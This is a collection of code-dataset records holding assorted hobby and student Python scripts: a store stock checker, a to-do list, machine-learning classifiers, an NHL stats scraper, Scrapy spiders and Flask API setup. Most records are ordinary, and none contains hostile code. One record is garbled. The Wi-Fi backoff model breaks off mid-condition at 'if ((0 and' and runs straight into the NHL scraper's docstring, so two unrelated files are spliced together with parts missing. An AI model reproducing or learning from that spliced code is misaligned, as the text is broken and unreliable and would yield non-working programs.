+{"seq_id":"521166745","text":"from availability import get_availability\n# from store import get_bj_stores_number\nfrom store import get_sz_stores_number\n\n\ndef check_availability(checkStores, strWantedModel):\n avai = get_availability()\n yoho = []\n res = {}\n for store_num, store_name in checkStores:\n model_avai = avai['stores'][store_num][strWantedModel]['availability']\n res[store_name] = model_avai\n if model_avai['contract'] or model_avai['unlocked']:\n yoho.append(store_name)\n print('有货:store_num[%s] store_name[%s] model[%s]' % (store_num, store_name, model_avai))\n return res, yoho\n\n\nif __name__ == '__main__':\n check_stores = get_sz_stores_number()\n res, yoho = check_availability(check_stores,'MGLD3CH/A')\n print(res)\n print(yoho)\n","sub_path":"check_availability.py","file_name":"check_availability.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"603358590","text":"def command_operator(order):\r\n if order == options_list[0] or order == options_list[3]:\r\n task = input(\"what task would you like to add to your list?: \")\r\n if task == \"exit_task_list\":\r\n return \"exit_the_task_list\"\r\n task_list.append(task)\r\n if task != \"exit_task_list\":\r\n return \"running\"\r\n elif order == options_list[1] or order == options_list[4]:\r\n print(\"your tasks:\")\r\n tasks_in_list = len(task_list)\r\n x = range(0, tasks_in_list, 1)\r\n b = 0\r\n for n in x:\r\n b += 1\r\n print(\"{}.\".format(b), task_list[n])\r\n Y_or_N = input(\"would you like to change or remove or add completion confirmation to a task from the list? Enter ['Y'] or ['N']: \").strip().upper()\r\n while Y_or_N != \"Y\" or Y_or_N != \"N\":\r\n if Y_or_N == \"Y\" or Y_or_N == \"N\":\r\n break\r\n print(\"please answer ['Y'] or ['N']\")\r\n Y_or_N = input(\"would you like to change or remove or add completion confirmation to a task from the list?: \").strip().upper()\r\n if Y_or_N == \"Y\" or Y_or_N == \"N\":\r\n break\r\n if Y_or_N == \"Y\":\r\n xtra = 0\r\n task_number = 1000**10\r\n while type(task_number) != int or task_number > tasks_in_list or type(task_number) != int and task_number > tasks_in_list:\r\n xtra += 1\r\n\r\n if xtra == 1:\r\n task_number = input(\"select the number of the task (please use numericals e.g. 1, 2, 3, etc): \")\r\n else:\r\n task_number = input(\"please use valid numericals (e.g. 1, 2, 3, etc): \")\r\n if type(task_number) != int:\r\n try:\r\n task_number = int(task_number)\r\n except:\r\n task_number = input(\"please use valid numericals (e.g. 1, 2, 3, etc): \")\r\n else:\r\n task_number = int(task_number)\r\n\r\n task_change = input(\"type what you want to change your task to or if you want to remove or confirm a task, type the command [remove]/[completion]/[change]: \").strip().lower()\r\n edit_commands = [\"remove\", \"completion\", \"change\"]\r\n while task_change not in edit_commands:\r\n task_change = input(\"please type the command [remove]/[completion]/[change]: \").strip().lower()\r\n\r\n task_number -= 1\r\n if task_change.lower().strip() == \"change\":\r\n task_list[task_number] = input(\"please type what you would like to change this task to: \")\r\n elif task_change.lower().strip() == \"completion\":\r\n task_list[task_number] = \"{} - completed\".format(task_list[task_number])\r\n elif task_change.lower().strip() == \"remove\":\r\n task_list.remove(task_list[task_number])\r\n else: \r\n return \"halt\"\r\n \r\n \r\n \r\n\r\n\r\nuser_name = input(\"greetings user, what is your name?: \")\r\nprint(\"hello user {}. It's nice to meet you.\".format(user_name))\r\n\r\nglobal task_list\r\nglobal options_list\r\noptions_list = [\"addtask\", \"viewtasks\", \"exitprogram\",\"1\",\"2\",\"3\"]\r\ntask_list = []\r\n\r\nprint(\"what would you like to do out of the following options {}?\".format(user_name))\r\nprint(\"1. add a task to your to do list \\n2. view current tasks in list \\n3. exit the program\")\r\norder = input(\"to select one of the following, please enter the number of your objective or the following comands: ['add task', 'view tasks', 'exit program']: \")\r\nloop = 0\r\norder = str(order).strip().lower().replace(\" \",\"\")\r\nwhile order not in options_list[2] or order not in options_list[5]:\r\n if order in options_list[2] or order in options_list[5]:\r\n break\r\n if loop > 0:\r\n order = input(\"please enter the number of your objective or the following comands: ['add task', 'view tasks', 'exit program']: \")\r\n order = str(order).strip().lower().replace(\" \",\"\")\r\n loop += 1\r\n while order not in options_list:\r\n print(\"command {} unrecognised\".format(order))\r\n order = input(\"to select one of the following, please enter the number of your objective or the following comands: ['add task', 'view tasks', 'exit program']: \")\r\n order = str(order).strip().lower().replace(\" \",\"\")\r\n if order in options_list[2] or order in options_list[5]:\r\n break\r\n if order in options_list[0] or order in options_list[3]:\r\n print(\"type command ['exit_task_list'] if you want to stop adding tasks.\")\r\n if order in options_list[1] or order in options_list[4]:\r\n program_status = command_operator(order)\r\n else:\r\n command_operator(order)\r\n program_status = \"running\"\r\n while program_status != \"exit_the_task_list\" and program_status == \"running\":\r\n program_status = command_operator(order)\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nprint(\"bye-bye.\")\r\n\r\n\r\n \r\n ","sub_path":"Yr12 - to do list task (final, finished version), python revision.py","file_name":"Yr12 - to do list task (final, finished version), python revision.py","file_ext":"py","file_size_in_byte":4946,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"491211006","text":"#! /usr/bin/python\r\nimport math\r\n\r\ntesting_data_file = input(\"Please input the relative path to the testing data file: \")\r\nparameter_file = input(\"Please input the relative path to the parameter data file: \")\r\noutput_file = input(\"Please input the relative path to the file that will contain the output data: \")\r\n\r\n# Parse the testing data:\r\nclasses = []\r\nX = []\r\nwith open(testing_data_file, 'r') as f:\r\n K = int(f.readline())\r\n D = int(f.readline())\r\n current = f.readline()\r\n while current != '':\r\n classes.append(int(current))\r\n current_input = []\r\n for i in range(1, 17):\r\n current_input.extend(map(int, f.readline().split()))\r\n X.append(current_input)\r\n current = f.readline()\r\n\r\navailable_classes = range(1, K + 1)\r\navailable_dimensions = range(D)\r\nN = len(classes)\r\n\r\n# Parse the parameters:\r\npriors = {}\r\nmeans = {}\r\nvariances = []\r\nwith open(parameter_file, 'r') as f:\r\n f.readline() # 'd'\r\n f.readline() # K\r\n f.readline() # D\r\n for k in available_classes:\r\n f.readline()\r\n priors[k] = float(f.readline())\r\n means[k] = list(map(float, f.readline().split()))\r\n variances = list(map(float, f.readline().split()))\r\n\r\n\r\ndef conditional_probability(observation, k):\r\n exponent = sum([math.pow(observation[d] - means[k][d], 2) / variances[d] for d in available_dimensions])\r\n return priors[k] * math.exp(-.5 * exponent)\r\n\r\n# Calculate error rate and confusion matrix:\r\nerrors = 0\r\nconfusion = [[0] * K for k in available_classes]\r\nfor (x, k_x) in zip(X, classes):\r\n conditional_probabilities_by_class = {k: conditional_probability(x, k) for k in available_classes}\r\n max_k = max(conditional_probabilities_by_class, key=conditional_probabilities_by_class.get)\r\n\r\n confusion[k_x - 1][max_k - 1] += 1\r\n if max_k != k_x:\r\n errors += 1\r\n\r\n# Write error rate and confusion matrix into output file:\r\nwith open(output_file, 'w') as output:\r\n def write_line(text):\r\n output.write(str(text) + \"\\n\")\r\n\r\n write_line(str(errors / len(X)))\r\n for row in confusion:\r\n write_line(\"\\t\".join(map(str,row)))\r\n","sub_path":"Exercise3/classifier.py","file_name":"classifier.py","file_ext":"py","file_size_in_byte":2143,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"380183853","text":"# data path and files in that folder\r\ndataset_Path=\"C:/NLP_homeworks/hw_3/dataset/\"\r\nfiles=[\"dataset.sentences\", \"dataset.labels\", \"int-keywords.txt\", \"featuresAdvancedCase.txt\" ]\r\n\r\nsentences = [line.split() for line in open(dataset_Path+files[3])]\r\nclassLabels=[line.rstrip() for line in open(dataset_Path+files[1])]\r\nintRelatedWords=[line.rstrip() for line in open(dataset_Path+files[2])]\r\n\r\n# all data in the variable SENTENCES now\r\n\r\ndef create2D_Table_with_zeros(m,n):\r\n import random\r\n set=[0,0]\r\n # Create a list.\r\n table1 = []\r\n for i in range(m):\r\n table1.append([])\r\n for j in range(n):\r\n table1[i].append(0) #random.choice(set))\r\n #for i in range(n):\r\n # print(table1[i],end=\"\\n\")\r\n return table1\r\n# for baseline\r\ntraining_x_baseline=create2D_Table_with_zeros(3000,len(sentences[0])-3)\r\ntraining_y_baseline=create2D_Table_with_zeros(3000,1)\r\n\r\ntest_x_baseline=create2D_Table_with_zeros(len(sentences)-3000,len(sentences[0])-3)\r\ntest_y_baseline=create2D_Table_with_zeros(len(sentences)-3000,1)\r\n\r\nfor i in range(3000):\r\n \r\n for j in range(len(sentences[i])-3):\r\n pass\r\n training_x_baseline[i][j]=sentences[i][j]\r\n\r\n training_y_baseline[i][0]=sentences[i][-1]\r\n\r\n\r\n\r\nfor i in range(len(sentences)-3000):\r\n for j in range(len(sentences[i])-3):\r\n test_x_baseline[i][j]=sentences[i][j]\r\n\r\n test_y_baseline[i][0]=sentences[i][-1]\r\n\r\n\r\n\r\n# for advanced line\r\ntraining_x_advanced=create2D_Table_with_zeros(3000,len(sentences[0])-1)\r\ntraining_y_advanced=create2D_Table_with_zeros(3000,1)\r\n\r\ntest_x_advanced=create2D_Table_with_zeros(len(sentences)-3000,len(sentences[0])-1)\r\ntest_y_advanced=create2D_Table_with_zeros(len(sentences)-3000,1)\r\n \r\nfor i in range(3000):\r\n \r\n for j in range(len(sentences[i])-1):\r\n pass\r\n training_x_advanced[i][j]=sentences[i][j]\r\n\r\n training_y_advanced[i][0]=sentences[i][-1]\r\n\r\n\r\n\r\nfor i in range(len(sentences)-3000):\r\n for j in range(len(sentences[i])-3):\r\n test_x_advanced[i][j]=sentences[i][j]\r\n\r\n test_y_advanced[i][0]=sentences[i][-1]\r\n\r\nfrom sklearn import svm\r\n\r\n\r\nimport scipy\r\nfrom sklearn import svm\r\n","sub_path":"readFeatureData.py","file_name":"readFeatureData.py","file_ext":"py","file_size_in_byte":2172,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"303956958","text":"from sklearn.decomposition import PCA\nfrom sklearn import svm\n\nimport numpy as np\nimport pandas as pd\n\n# The competition datafiles are in the directory ../input\n# Read competition data files:\ndata = pd.read_csv(\"../input/train.csv\")\ntarget = data[[0]].values.ravel()\ntrain = data.iloc[:, 1:].values\ntest = pd.read_csv(\"../input/test.csv\").values\n\npca_model = PCA(n_components=10, copy=False, whiten=True)\ntrain = pca_model.fit_transform(train)\ntest = pca_model.transform(test)\n\nsvm_model = svm.SVC()\nsvm_model.fit(train, target)\n\nprediction = svm_model.predict(test)\nnp.savetxt('submission_pca_svm.csv', np.c_[range(1, len(test) + 1), prediction], delimiter=',', comments = '', header = 'ImageId,Label', fmt='%d')","sub_path":"digit/digit_pca_svm.py","file_name":"digit_pca_svm.py","file_ext":"py","file_size_in_byte":713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"177666811","text":"import numpy as np\r\nimport math\r\nimport scipy\r\nfrom scipy.optimize import fsolve\r\nfrom scipy import special\r\n\r\n#matplotlib inline\r\nimport matplotlib.pyplot as plt\r\nfrom scipy import interpolate\r\n\r\nF = 36\r\nZ = 10\r\nCWmin = 8\r\nBI = 10\r\nL = 1\r\nmu = 3 #среднее время получения пакета\r\nS=7\r\nM = 7\r\nTb = (BI - Z*L)/Z\r\n\r\nalpha= 1-math.exp((-1/mu)*(Tb))\r\n\r\nbeta=1-math.exp((-1/mu)*(Tb+L))\r\n\r\nN = 1\r\n\r\nF = 36\r\n\r\nWmin = 8\r\nWmax = 1024\r\nM = 7\r\n# 8 16 32 64 128 256 512 1024\r\n\r\ndef W(i):\r\n return 2**i*Wmin\r\n\r\ndef delta(a,b):\r\n if a==b:\r\n return 1\r\n else:\r\n return 0\r\n\r\ndef Vfunc(i):\r\n return int(math.ceil( ((math.pow(2,i)) * Wmin -1 )/F))\r\n\r\ndef supereqEZ(p):\r\n if N==0 or N==1 or F==0:\r\n return p\r\n else:\r\n return F*( 1 - math.pow(1.-p,1./(N-1)))*(1-p) - 1/((1-alpha)/beta + (1/(1-p) + math.fsum([ (1-delta(Vfunc(i),0))*(1 - (2 + Vfunc(i)*F)/((2**(i+1))*Wmin) )*(Vfunc(i)-1)*(p**i) for i in range(S)])\\\r\n+ (1-delta(Vfunc(S),0))*( 1 - (2 + Vfunc(S)*F)/((2**(S+1))*Wmin) )*(Vfunc(S)-1)*(p**S)/(1-p)))\r\n\r\ndef findtau(p):\r\n if N==0:\r\n return 0\r\n if N==1:\r\n return math.pow((1+(1-alpha)/beta),-1)\r\n else:\r\n return F*( 1 - math.pow(1.-p,1./(N-1)))\r\n\r\n\r\ndef H(i,k):\r\n if ((k==(Vfunc(i)-1)) and (Vfunc(i)==1)):\r\n return int((W(i)-2)%F + 2)\r\n if ((k==(Vfunc(i)-1)) and (Vfunc(i)!=1)):\r\n return int((W(i)-2)%F + 1)\r\n if (k==0):\r\n return F+1\r\n if ((0 and\n.\n\n\nExample usage, reading playerstats:\n\nq = Query()\nq.season(\"20142015\")\nq.gametype(\"regular\")\nq.report(\"summary\")\n\nfor row in q:\n print (row)\n\n\nExample usage, getting career stats tables for a specific Player:\n\np = Player(8474577)\nprint (p.tables)\n\n\"\"\"\n\nfrom urllib.parse import urlencode, parse_qs\nfrom urllib.request import urlparse\nfrom urllib.request import urlopen\nfrom lxml import etree\nimport re\n\n\nPAGES = {}\n\n\nclass NHlException(Exception):\n pass\n\n\ndef getdoc(url):\n \"\"\"Returns the HTML DOM as an etree Elementree\"\"\"\n if url not in PAGES:\n try:\n response = urlopen(url)\n content = response.read().decode('utf-8')\n parser = etree.HTMLParser()\n except Exception as e:\n raise SystemExit(e)\n\n PAGES[url] = etree.fromstring(content, parser)\n\n return PAGES[url]\n\n\ndef stringify(element):\n \"\"\"Concatenates all text in the subelements into one string\"\"\"\n return u\"\".join([x for x in element.itertext()]).strip().replace(\"\\n\",\n \" \")\n\ndef get_nhlid_from_tablerow(tr):\n \"\"\"Get player ID from href inside the row\"\"\"\n anchor_tag = tr.find(\".//a[@href]\")\n\n if anchor_tag is not None:\n href = anchor_tag.attrib['href']\n if re.match(r\"^/ice/player.htm\", href):\n qs = urlparse(href).query\n return parse_qs(qs).get(\"id\", None)[0]\n\n\ndef get_table_columns(table):\n \"\"\"Returns the column names for the table.\n We skips first col, as it's only the row number.\n We add NHL ID and Number columns in the beginnnig.\n \"\"\"\n thead = table.find(\"thead\")\n columns = [stringify(th) for th in thead.findall(\".//th\")]\n return ['nhl_id', 'number'] + columns[1:]\n\n\ndef get_table_pages_urls(url):\n \"\"\"Gets URLS for pages of the table at the given URL\"\"\"\n\n doc = getdoc(url)\n\n urls = []\n pages_div = doc.find(\".//div[@class='pages']\")\n\n #Check for empty table\n if pages_div is None:\n return urls\n\n #Check for one page table\n page_anchors = pages_div.findall(\"a\")\n if len(page_anchors) < 1:\n urls.append(url) # One page table\n return urls\n\n #Get the last page anchor\n last_anchor = page_anchors[-1]\n last_anchor_href = last_anchor.get(\"href\")\n\n #Get the number of the last page\n pattern = re.compile(r\"(\\d+)\")\n number_of_pages = pattern.findall(last_anchor_href)[-1]\n\n #Load all pages\n nhl_base_url = \"http://www.nhl.com\"\n for p in range(1, int(number_of_pages) + 1):\n page_url = last_anchor_href.replace(\"pg=\" + number_of_pages,\n \"pg=\" + str(p))\n urls.append(nhl_base_url + page_url)\n\n return urls\n\n\ndef readrows(urls, limit=None):\n \"\"\"Reads all or a limited numbers of rows from the table\"\"\"\n\n row_counter = 0\n for url in urls:\n\n doc = getdoc(url)\n\n table = doc.find(\".//table[@class='data stats data-table table-origin']\")\n\n if row_counter == 0:\n yield get_table_columns(table)\n\n tbody = table.find(\"tbody\")\n\n if tbody is None:\n raise StopIteration\n\n for tr in tbody.findall('tr'):\n\n if limit is not None and row_counter == limit:\n raise StopIteration\n\n nhl_id = get_nhlid_from_tablerow(tr)\n\n data = [nhl_id] + [stringify(td) for td in tr.findall(\"td\")]\n\n yield data\n\n row_counter += 1\n\n\nclass Query:\n \"\"\"Query for playerstats\"\"\"\n\n PLAYERSTATS_URL = \"http://www.nhl.com/ice/playerstats.htm\"\n\n def __str__(self):\n return self.url()\n\n def season(self, s):\n if re.match(r\"\\d{8}\", s):\n self.season = s\n return self\n\n def gametype(self, gt):\n if gt == 'regular':\n self.gameType = 2\n elif gt == 'playoffs':\n self.gameType = 3\n return self\n\n def team(self, t):\n if re.match(r\"[A-Z]{3}\", t):\n self.team = t\n return self\n\n def country(self, c):\n if re.match(r\"[A-Z]{3}\", c):\n self.country = c\n return self\n\n def position(self, p):\n if p in (\"S\", \"C\", \"D\", \"F\", \"G\", \"L\", \"R\"):\n self.position = p\n return self\n\n def report(self, r):\n if r in ('bios', 'summary'):\n self.viewName = r\n return self\n\n def url(self):\n \"\"\"Builds the URL based on parameters\"\"\"\n if self.position == 'G' and self.viewName == 'bios':\n self.viewName = 'goalieBios'\n\n query = self.__dict__\n\n url = Query.PLAYERSTATS_URL + \"?\" + urlencode(query)\n\n return url\n\n def run(self, limit=None):\n urls = get_table_pages_urls(self.url())\n print (urls)\n return readrows(urls, limit)\n\n def fetch(self, limit=None):\n result = []\n for p in self.run(limit):\n result.append(p)\n return result\n\n def __iter__(self):\n return self.run()\n\n\nclass Player:\n \"\"\"Represent an NHL player on nhl.com\"\"\"\n\n CAREER_URL = \"http://www.nhl.com/ice/player.htm?id={}\"\n\n def __init__(self, player_id):\n \"\"\"Loads the player stats page as an ElementTree\"\"\"\n url = Player.CAREER_URL.format(player_id)\n self.doc = getdoc(url)\n\n @property\n def twitter(self):\n \"\"\"Gets the players twitter handle or None\"\"\"\n twitter_tag = self.doc.find(\".//a[@class='twitter-follow-button']\")\n if twitter_tag is not None:\n return twitter_tag.get(\"href\").split(\"/\")[-1]\n\n @property\n def tables(self):\n \"\"\"Grabs all career tables from the player page.\"\"\"\n\n playerstats_tables = []\n\n for table in self.doc.findall(\".//table[@class='data playerStats']\"):\n\n headers = [th.text for th in table.findall(\".//th\")]\n\n table_group = [headers]\n\n for row_i in table.findall(\".//tr\")[1:]:\n\n data = [stringify(td) for td in row_i.findall(\"td\")]\n\n table_group.append(data)\n\n playerstats_tables.append(table_group)\n\n return playerstats_tables\n\ndef main():\n\n parser = argparse.ArgumentParser(description='Read playerstats from nhl.com')\n parser.add_argument('seasons', metavar='Seasons', help='e.g. 20142015')\n parser.add_argument('-p', '--pos', dest='position',\n action='store',\n default=\"S\",\n choices=('S', 'G', 'D', 'L', 'R', 'C'),\n help='Player position')\n parser.add_argument('-g', '--gametype', dest='gametype',\n action='store',\n default=\"regular\",\n choices=('regular', 'playoffs'),\n help='Gametype')\n parser.add_argument('-r', '--report', dest='report',\n action='store',\n default=\"summary\",\n choices=('bios', 'summary'),\n help='Report')\n args = parser.parse_args()\n\n q = Query()\n q.season(args.seasons)\n q.gametype(args.gametype)\n q.position(args.position)\n q.report(args.report)\n\n writer = csv.writer(sys.stdout)\n writer.writerows(q)\n\n\nif __name__ == '__main__':\n import argparse\n import csv\n import sys\n main()\n","sub_path":"nhl.py","file_name":"nhl.py","file_ext":"py","file_size_in_byte":7500,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"470799880","text":"def test():\n # 条件判断\n age = 11\n if age >= 18:\n print('you age is', age)\n print('adult')\n elif age >= 6:\n print('teenage')\n else:\n print('you age is', age)\n print('kid')\n # Python 语法与缩进的距离有关系 ,条件语句一定要缩放,不然会有语法错误\n print('if else外面')\n\n # 语法格式\n # if <条件判断1>:\n # <执行1>\n # elif <条件判断2>:\n # <执行2>\n # elif <条件判断3>:\n # <执行3>\n # else:\n # <执行4>\n\n # 输入条件\n birth = int(input('input the birth of year: '))\n if birth < 2000:\n print('00前')\n else:\n print('00后')\n\n\ndef BMI():\n hight = float(input('请输入身高 例如:1.75 '))\n weight = float(input('请输入体重 例如:80.5 '))\n bmi = weight / (hight * hight)\n if bmi < 18.5:\n print('过轻')\n elif bmi >= 18.5 and bmi < 25:\n print('正常')\n elif bmi >= 25 and bmi < 28:\n print('过重')\n elif bmi >= 28 and bmi < 32:\n print('肥胖')\n elif bmi >= 32:\n print('严重肥胖')\n print('bmi=', bmi)\n\n\ndef main():\n test()\n BMI()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"python_exercise/condition.py","file_name":"condition.py","file_ext":"py","file_size_in_byte":1231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"524110975","text":"import pandas as pd\nimport numpy as np\nfrom sklearn import neighbors\nfrom sklearn.ensemble import RandomForestClassifier\nimport time\nfrom sklearn import preprocessing\n\n\ndef load_data(path):\n '''\n :param path: 输入文件所在文件夹地址\n :return: x属性,y标签,test属性\n '''\n\n df = pd.read_csv(path + 'train.csv', sep=',')\n data = df.values\n x_train = preprocessing.binarize(data[:, 1:]) # 第0列就是标签,2分化一下会不会好一点\n y_train = data[:, 0]\n\n test_file = pd.read_csv(path + 'test.csv', sep=',')\n test_data = preprocessing.binarize(test_file.values)\n x_test = test_data\n\n return x_train, y_train, x_test\n\n\ndef predict(path):\n x_train, y_train, x_test = load_data(path)\n\n logClf = RandomForestClassifier()\n logClf.fit(x_train, y_train)\n\n preResult = logClf.predict(x_test)\n\n writeFile = open(path + 'submit1.csv', 'w')\n writeFile.write('ImageId,Label\\n') # 第一行标题\n\n n = len(preResult)\n for i in range(n):\n writeFile.write('%d,%d\\n' % (i + 1, preResult[i]))\n writeFile.close()\n\n\ndef test(path):\n start_time = time.time()\n predict(path)\n end_time = time.time()\n print('done in ' + str(end_time - start_time) + ' seconds.')\n print('done in ' + str((end_time - start_time) / 60) + ' minutes.')\n\n\npath='/Users/zhouang/Downloads/kaggle/识别数字/'\ntest(path)\n","sub_path":"Digit_Recognizer.py","file_name":"Digit_Recognizer.py","file_ext":"py","file_size_in_byte":1388,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"106095003","text":"# Test Interface\n\nfrom Tkinter import *\nimport RPSgame_Interface\nimport os\n\nroot = Tk()\nroot.title(\"Game Collection\")\n\nmainframe = Frame(root, height=200, width=500)\nmainframe.pack_propagate(0)\nmainframe.pack(padx=5, pady=5)\n\nintro = Label(mainframe, text=\"Choose a game to play\")\nintro.pack(side=TOP)\n\nrps_game = Button(mainframe, text=\"Rock, Paper, Scissors\", command=RPSgame_Interface.gui)\nrps_game.pack()\n\nexit_button = Button(mainframe, text=\"Quit\", command=root.destroy)\nexit_button.pack(side=BOTTOM)\n\nos.system('''/usr/bin/osascript -e 'tell app \"Finder\" to set frontmost of process \"Python\" to true' ''')\nroot.mainloop()\n","sub_path":"testInterface.py","file_name":"testInterface.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"52747441","text":"from sklearn.linear_model import Lasso,LogisticRegression,Ridge\nimport pandas as pd\nimport numpy as np\ndef lasso(file):\n dataset = pd.read_csv(file,engine='python').dropna(axis=1)\n features_name = dataset.columns.values.tolist()\n dataset = np.array(dataset)\n\n X = dataset[:, 1:]\n y = dataset[:, 0]\n\n lasso = Lasso()\n lasso.fit(X, y)\n result = [(x, y) for x, y in zip(features_name[1:], lasso.coef_)]\n result1 = sorted(result, key=lambda x: abs(x[1]), reverse=True)\n\n\n ridge = Ridge()\n ridge.fit(X, y)\n result = [(x, y) for x, y in zip(features_name[1:], ridge.coef_)]\n result2 = sorted(result, key=lambda x: abs(x[1]), reverse=True)\n\n\n logistic = LogisticRegression()\n logistic.fit(X, y)\n\n result = [(x, y) for x, y in zip(features_name[1:], logistic.coef_[0])]\n result3 = sorted(result, key=lambda x: abs(x[1]), reverse=True)\n\n\n\n\n return ([x[0] for x in result1 if abs(x[1])>0.0000000000001],\n [x[0] for x in result2 if abs(x[1])>0.0000000000001],\n [x[0] for x in result3 if abs(x[1])>0.0000000000001])\n\ndef run(csvfile,logger):\n logger.info('linear model start...')\n feature_list = lasso(csvfile)\n\n logger.info('linear model end.')\n return feature_list\n#\n# filepath = r'J:\\多设备共享\\work\\MRMD2.0-github\\mixfeature_frequency_DBD.csv'\n# result = lasso(filepath)","sub_path":"feature_selection/linear_model.py","file_name":"linear_model.py","file_ext":"py","file_size_in_byte":1356,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"506885546","text":"from billion_prices_india.spiders.BasePepperFry import BasePepperFry\n\n__author__ = 'sats'\n\n\nclass PepperFry(BasePepperFry):\n \"\"\"Scrape pet supplies tab from pepper fry\"\"\"\n name = \"pf_bedbath\"\n start_urls = ['http://www.pepperfry.com/bed-bath-%s.html' % s for s in\n ['bed-sheets', 'combo-offers', 'bed-covers', 'duvet-covers', 'blankets-quilts', 'bedding-diwan-sets',\n 'pillow-covers', 'pillow-inserts', 'mattresses', 'diwan-sets', 'mirrors', 'yoga-mats', 'bath-mats',\n 'bathroom-scales', 'bath-robes-gowns', 'towels', 'bathroom-cabinets', 'bathroom-shelves',\n 'towel-holders', 'toilet-paper-holders', 'bathroom-tumblers', 'clothes-hooks', 'personal-grooming',\n 'soap-dishes',\n 'soap-dispensers', 'cotton-swab-holders', 'bath-sets', 'sanitary-ware-showers',\n 'sanitary-ware-faucets', 'sanitary-ware-stop-cocks-and-angles', 'sanitary-ware-mixers',\n 'sanitary-ware-floor-drains', 'sanitary-ware-cisterns', 'sanitary-ware-pipes-hoses', 'kids']]\n\n\n","sub_path":"billion_prices_india/billion_prices_india/spiders/pf_bedbath.py","file_name":"pf_bedbath.py","file_ext":"py","file_size_in_byte":1095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"213570904","text":"import traceback\n\nfrom flask_restplus import Api\nfrom sqlalchemy.orm.exc import NoResultFound\n# from log import log\nfrom log import log\n\napi = Api(version='1', title='flask_api_example',\n description='flask_api_example')\n\nfun_dict = {\n 'resp_204': api.response(\n 204,\n 'successfully updated.'),\n 'resp_401': api.response(\n 401,\n 'token auth fail.'),\n 'resp_403': api.response(\n 403,\n 'access forbidden.'),\n 'resp_404': api.response(\n 404,\n 'no result found or update object not exist'),\n 'expect': api.expect,\n 'marshal1': api.marshal_with,\n 'marshal2': api.marshal_list_with}\n\n\n@api.errorhandler\ndef default_error_handler(e):\n message = 'An unhandled exception occurred.'\n log.exception(message)\n if not globals()['FLASK_DEBUG']:\n return {'message': message}, 500\n\n\n@api.errorhandler(NoResultFound)\ndef database_not_found_error_handler(e):\n log.warning(traceback.format_exc())\n return {'message': 'A database result was required but none was found.'}, 404\n\n\ndef decorator_compose(*funs):\n def decorator(f):\n for fun in reversed(funs):\n f = fun(f)\n return f\n return decorator\n","sub_path":"api/restplus.py","file_name":"restplus.py","file_ext":"py","file_size_in_byte":1215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"542434747","text":"# coding=utf-8\nimport time\nota_hotel_room_type_table = {\n #新增房型前台id,以防止以后出现两个id\n \"room_type_front_id\":\"\",\n \"room_type_id\":\"\",\n \"room_type_name\":\"\",\n \"channel_id\":-1,\n \"ota_bkstg_name\":\"\",\n \"platform_id\":-1,\n \"channel_sub_id\":-1,\n \"hotel_id\":\"\",\n \"room_count\":-1,\n \"desc\":\"\",\n \"area\":\"\",\n \"floor\":\"\",\n \"bed_type\":\"\",\n \"bed_size\":\"\",\n \"bed_count\":-1,\n \"retail_price\":0.0,\n \"max_occupancy\":-1,\n \"has_internet\":-1,\n \"internet_type\":-1,\n \"internet_service\":\"\",\n \"has_window\":-1,\n \"has_own_toilet\":-1,\n \"has_public_toliet\":-1,\n \"has_toiletries\":-1,\n \"has_slippers\":-1,\n \"has_hot_water\":-1,\n \"has_air_conditioning\":-1,\n \"has_fridge\":-1,\n \"has_computer\":-1,\n \"has_tv\":-1,\n \"has_balcony\":-1,\n \"has_kitchen\":-1,\n \"has_bar\":-1,\n \"has_free_ddd\":-1,\n \"has_free_idd\":-1,\n \"can_add_bed\":-1,\n \"add_bed_fee\":\"\",\n \"additional_services\":\"\",\n \"is_hours_room\":-1,\n \"status\":\"\",\n \"reserved_col1\":\"\",\n \"reserved_col2\":\"\",\n \"reserved_col3\":\"\",\n \"reserved_col4\":\"\",\n \"reserved_col5\":\"\",\n \"crawl_version\":\"\",\n \"crawl_time\":time.strftime(\"%Y-%m-%d %H:%M:%S\"),\n \"sub_rooms\":[]\n }","sub_path":"ycfspider/ycf/ycfspider-for-schedule/ycfspider/tables/ota_hotel_room_type_table.py","file_name":"ota_hotel_room_type_table.py","file_ext":"py","file_size_in_byte":1820,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
